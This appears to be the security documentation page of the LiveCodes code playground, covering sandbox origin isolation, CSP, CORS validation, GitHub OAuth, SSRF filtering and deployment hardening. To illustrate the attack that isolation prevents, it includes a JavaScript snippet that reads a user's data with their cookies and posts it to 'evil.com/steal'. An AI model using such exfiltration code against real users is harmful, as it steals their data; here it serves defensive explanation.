Skip to main content
LiveCodes takes security seriously with a multi-layered approach to protect both the application and user code execution.

Security Overview

LiveCodes implements defense-in-depth with multiple security layers:
┌─────────────────────────────────────────────────────┐
│           Security Layers                          │
│                                                     │
│  1. Origin Isolation (Sandbox)                      │
│     └─ Different domain/port for code execution     │
│                                                     │
│  2. Content Security Policy (CSP)                   │
│     └─ Restricted script sources                    │
│                                                     │
│  3. CORS Validation                                 │
│     └─ Whitelist allowed origins                    │
│                                                     │
│  4. Input Validation                                │
│     └─ Sanitize user inputs                         │
│                                                     │
│  5. Authentication & Authorization                  │
│     └─ GitHub OAuth via Firebase                    │
│                                                     │
│  6. Rate Limiting & DoS Protection                  │
│     └─ Service-level throttling                     │
└─────────────────────────────────────────────────────┘

Sandboxed Execution

Origin Isolation Strategy

The core security mechanism is origin isolation. User code executes in a separate iframe on a different origin: Main Application:
  • https://livecodes.io
  • Hosts the editor, UI, and sensitive operations
Sandbox:
  • https://sandbox.livecodes.io:8090
  • Executes untrusted user code
  • Isolated from main application data
The sandbox must be on a different origin (scheme + domain + port). Same-origin sandboxes provide no security isolation.

Why Origin Isolation?

Browsers enforce the Same-Origin Policy (SOP) which prevents:
Attack VectorProtection
Cookie theftSandbox can’t access main app cookies
LocalStorage accessSeparate storage per origin
DOM manipulationCan’t access parent DOM
Network requestsCan’t read main app responses
Service WorkersIsolated registration scope

Example Attack Prevention

Without origin isolation:
// Malicious user code on same origin
fetch('/api/user/data', {
  credentials: 'include' // Sends user's auth cookies!
}).then(r => r.json())
  .then(data => {
    // Steal user data
    fetch('https://evil.com/steal', {
      method: 'POST',
      body: JSON.stringify(data)
    });
  });
With origin isolation:
// Same code on different origin
fetch('/api/user/data', {
  credentials: 'include'
}); // Fails: CORS prevents cross-origin requests

Compiler Sandbox

Language compilers also run in the isolated sandbox: Location: src/livecodes/compiler/create-compiler.ts
const createCompilerSandbox = async (compilerUrl) => {
  const iframe = document.createElement('iframe');
  iframe.src = compilerUrl;
  iframe.sandbox = 'allow-scripts'; // Minimal permissions
  document.body.appendChild(iframe);
  return iframe.contentWindow;
};

const compile = async (content, language, config) => {
  const compilerSandbox = await createCompilerSandbox(
    sandboxService.getCompilerUrl()
  );
  
  // Send code via postMessage (safe cross-origin communication)
  compilerSandbox.postMessage({
    type: 'compile',
    payload: { content, language, config }
  }, sandboxService.getOrigin());
  
  // Receive compiled result
  return new Promise((resolve) => {
    window.addEventListener('message', (event) => {
      if (event.origin === sandboxService.getOrigin() &&
          event.data.type === 'compiled') {
        resolve(event.data.payload.compiled);
      }
    });
  });
};

Iframe Sandbox Attributes

Result iframe uses restrictive sandbox attributes:
<iframe 
  sandbox="allow-forms 
           allow-modals 
           allow-pointer-lock 
           allow-popups 
           allow-popups-to-escape-sandbox
           allow-same-origin 
           allow-scripts"
  src="https://sandbox.livecodes.io:8090"
></iframe>
Permissions granted:
  • allow-scripts: Execute JavaScript (required for playground)
  • allow-forms: Submit forms in user code
  • allow-modals: Show alerts/confirms
  • allow-same-origin: Access same-origin resources (within sandbox)
Permissions denied (by omission):
  • allow-top-navigation: Can’t navigate parent
  • allow-downloads: Can’t trigger downloads

Content Security Policy (CSP)

CSP headers restrict resource loading: Main Application CSP:
Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.jsdelivr.net https://unpkg.com;
  style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
  font-src 'self' https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.github.com https://*.livecodes.io;
  frame-src https://sandbox.livecodes.io;
  worker-src 'self' blob:;
Sandbox CSP:
Content-Security-Policy:
  default-src 'none';
  script-src 'unsafe-inline' 'unsafe-eval' https:;
  style-src 'unsafe-inline' https:;
  img-src data: https:;
  font-src data: https:;
  connect-src https:;
The sandbox allows unsafe-eval and unsafe-inline since user code needs dynamic execution. This is safe because the sandbox is isolated.

CORS Security

Allowed Origins

Location: src/livecodes/services/allowed-origin.ts
export const allowedOrigin = (origin = location.origin) =>
  Boolean(
    origin &&
      (origin.endsWith('livecodes.io') ||
       origin.endsWith('livecodes.pages.dev') ||
       origin.endsWith('localpen.pages.dev') ||
       origin.includes('127.0.0.1') ||
       origin.includes('localhost:') ||
       origin.endsWith('localhost') ||
       origin.endsWith('.test')),
  );
This prevents:
  • Unauthorized embeds from stealing user data
  • Cross-origin attacks from malicious sites

CORS Proxy Security

Location: server/src/cors.ts
export const corsProxy = (req, res) => {
  const origin = req.get('Origin');
  const hostname = process.env.HOST_NAME || 'localhost';
  
  // Strict origin validation
  if ((origin && !origin.includes(hostname)) || 
      !['GET', 'POST'].includes(req.method)) {
    res.status(403).send('Forbidden!');
    return;
  }
  
  const url = req.body?.url || req.query?.url;
  if (!url) {
    res.status(400).send('Bad Request!');
    return;
  }
  
  // Proxy request
  fetch(url, { method: req.method })
    .then(r => res.send(body));
};
Protection against:
  • Open proxy abuse
  • Server-Side Request Forgery (SSRF)
  • Unauthorized access to internal networks

Authentication & Authorization

GitHub OAuth Flow

┌──────────┐      ┌────────────┐      ┌──────────┐
│  User    │      │  Firebase   │      │  GitHub  │
│  Browser │      │  Auth       │      │   API    │
└──────────┘      └────────────┘      └──────────┘
     │                  │                  │
     │ 1. Login         │                  │
     ├─────────────────▶│                  │
     │                  │ 2. OAuth popup   │
     │                  ├─────────────────▶│
     │                  │                  │
     │                  │ 3. User approves │
     │                  │◀─────────────────┤
     │ 4. Access token  │                  │
     │◀─────────────────┤                  │
     │                  │                  │
     │ 5. API requests with token          │
     ├───────────────────────────────────────▶│
     │                                       │

Token Security

Location: src/livecodes/services/github.ts
export const getGithubHeaders = (user, mediaType) => ({
  Accept: `application/vnd.github.v3${mediaType ? '.' + mediaType : ''}+json`,
  'Content-Type': 'application/json',
  Authorization: 'token ' + user.token, // Bearer token
});
Security measures:
  • Tokens stored in memory only (not localStorage)
  • Short-lived tokens with automatic refresh
  • Scoped permissions (repo access only)
  • Revocable via GitHub settings

Broadcast Token Authentication

Location: server/src/broadcast/index.ts
const hasPermission = (req) => {
  const userTokens = process.env.BROADCAST_TOKENS || '';
  
  if (!userTokens.trim()) return true; // No auth if not configured
  
  const userToken = req.body.userToken || req.query.userToken;
  if (!userToken) return false;
  
  const validTokens = userTokens.split(',').map(t => t.trim());
  return validTokens.includes(userToken);
};

app.post('/', (req, res) => {
  if (!hasPermission(req)) {
    res.status(401).json({ error: 'Permission denied! Invalid user token.' });
    return;
  }
  // Process broadcast...
});
Configuration:
BROADCAST_TOKENS=secret-token-1,secret-token-2,secret-token-3

Input Validation & Sanitization

Share Service Validation

const saveProject = async (req, res) => {
  const value = JSON.stringify(req.body);
  
  if (!value) {
    res.status(400).send('Bad Request!');
    return;
  }
  
  // Additional validation
  if (value.length > 1024 * 1024 * 5) { // 5MB limit
    res.status(413).send('Payload Too Large!');
    return;
  }
  
  // ID validation (14 alphanumeric characters)
  const id = generateId(14); // [a-zA-Z0-9]{14}
  
  await valkey.set(id, value);
  res.status(200).send(id);
};

URL Validation

For the CORS proxy:
const url = req.body?.url || req.query?.url;

if (!url) {
  res.status(400).send('Bad Request!');
  return;
}

// Prevent SSRF attacks
if (url.includes('localhost') || 
    url.includes('127.0.0.1') ||
    url.includes('0.0.0.0') ||
    url.match(/^https?:\/\/(10|172\.(1[6-9]|2[0-9]|3[01])|192\.168)\./)  // Private IPs
) {
  res.status(403).send('Forbidden!');
  return;
}

Rate Limiting & DoS Protection

Service-Level Limits

Share service:
  • Collision avoidance limits attempts
  • Data size limits (implicit via Valkey memory)
Broadcast service:
  • Channel cleanup (20-minute timeout)
  • Data size limits:
    • Result: 300KB
    • Project data: 500KB
CORS proxy:
  • Origin validation (only configured hosts)
  • Method validation (GET/POST only)

Docker Resource Limits

services:
  app:
    deploy:
      resources:
        limits:
          cpus: '2.0'
          memory: 4G
        reservations:
          cpus: '1.0'
          memory: 2G

Data Privacy

Client-Side Architecture

LiveCodes is primarily client-side, minimizing data exposure:
  • Code executes locally in the browser
  • No server-side code storage (except opt-in sharing)
  • Projects stored in browser localStorage
  • Compilation happens in isolated sandbox

Shared Project Privacy

Share feature:
  • 14-character random IDs (hard to guess)
  • No listing/discovery endpoint
  • No authentication required to access (share links are secrets)
  • Data stored in Valkey (can be encrypted at rest)
Considerations:
  • Shared projects are public if the ID is known
  • Don’t share projects with secrets/credentials
  • Use private GitHub repos for sensitive code

Deployment Security

HTTPS-Only

Always use HTTPS in production. HTTP exposes tokens and user data.
server:
  image: caddy:2.10.0-alpine
  # Caddy auto-provisions Let's Encrypt certificates

Non-Root Containers

RUN addgroup -S appgroup
RUN adduser -S appuser -G appgroup
USER appuser
Benefits:
  • Limits damage if container is compromised
  • Prevents privilege escalation
  • Follows principle of least privilege

Security Headers

Set via server configuration:
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()

Secrets Management

Environment variables (not in code):
FIREBASE_CONFIG={...}
BROADCAST_TOKENS=secret1,secret2
VALKEY_PASSWORD=strongpassword
Docker secrets (production):
secrets:
  firebase_config:
    external: true
    
services:
  app:
    secrets:
      - firebase_config
    environment:
      - FIREBASE_CONFIG_FILE=/run/secrets/firebase_config

Security Monitoring

Logging Sensitive Events

// Log failed auth attempts
if (!hasPermission(req)) {
  console.warn(`Unauthorized broadcast attempt from ${req.ip}`);
  res.status(401).json({ error: 'Permission denied!' });
}

External Logging

LOG_URL=https://logging.example.com/api/log
Send security events to external SIEM:
  • Failed authentication
  • Rate limit violations
  • Suspicious request patterns

Vulnerability Disclosure

LiveCodes has a responsible disclosure policy: Report security issues:
Email: [email protected]
Do not:
  • Open public GitHub issues for security bugs
  • Exploit vulnerabilities on production instances
  • Access other users’ data
See full policy: SECURITY.md

Security Best Practices

  1. Use separate origins for sandbox (e.g., sandbox.example.com)
  2. Enable HTTPS with valid certificates
  3. Configure broadcast tokens if using broadcast feature
  4. Use strong Firebase config or disable GitHub auth
  5. Set resource limits in Docker
  6. Enable Valkey authentication if exposed
  7. Regularly update dependencies and Docker images
  8. Monitor logs for suspicious activity
  1. Use sandbox attribute on iframe
  2. Set CSP headers on parent page
  3. Validate messages from playground iframe
  4. Don’t pass sensitive data to playground config
  5. Use allow attribute to restrict features:
    <iframe allow="autoplay; clipboard-write"></iframe>
    
  1. Never commit API keys or secrets to shared projects
  2. Use environment variables for sensitive config
  3. Be cautious importing untrusted code
  4. Verify external modules before importing
  5. Don’t share projects with private data

Security Audits

LiveCodes undergoes regular security reviews:
  • Static analysis: SonarCloud, Codacy
  • Dependency scanning: npm audit, Snyk
  • Manual review: Community contributions reviewed
  • Penetration testing: Periodic security assessments

Next Steps

Services Architecture

Understand service isolation

Self-Hosting

Secure deployment guide

Docker Setup

Container security configuration

Performance

Security vs performance tradeoffs

Build docs developers (and LLMs) love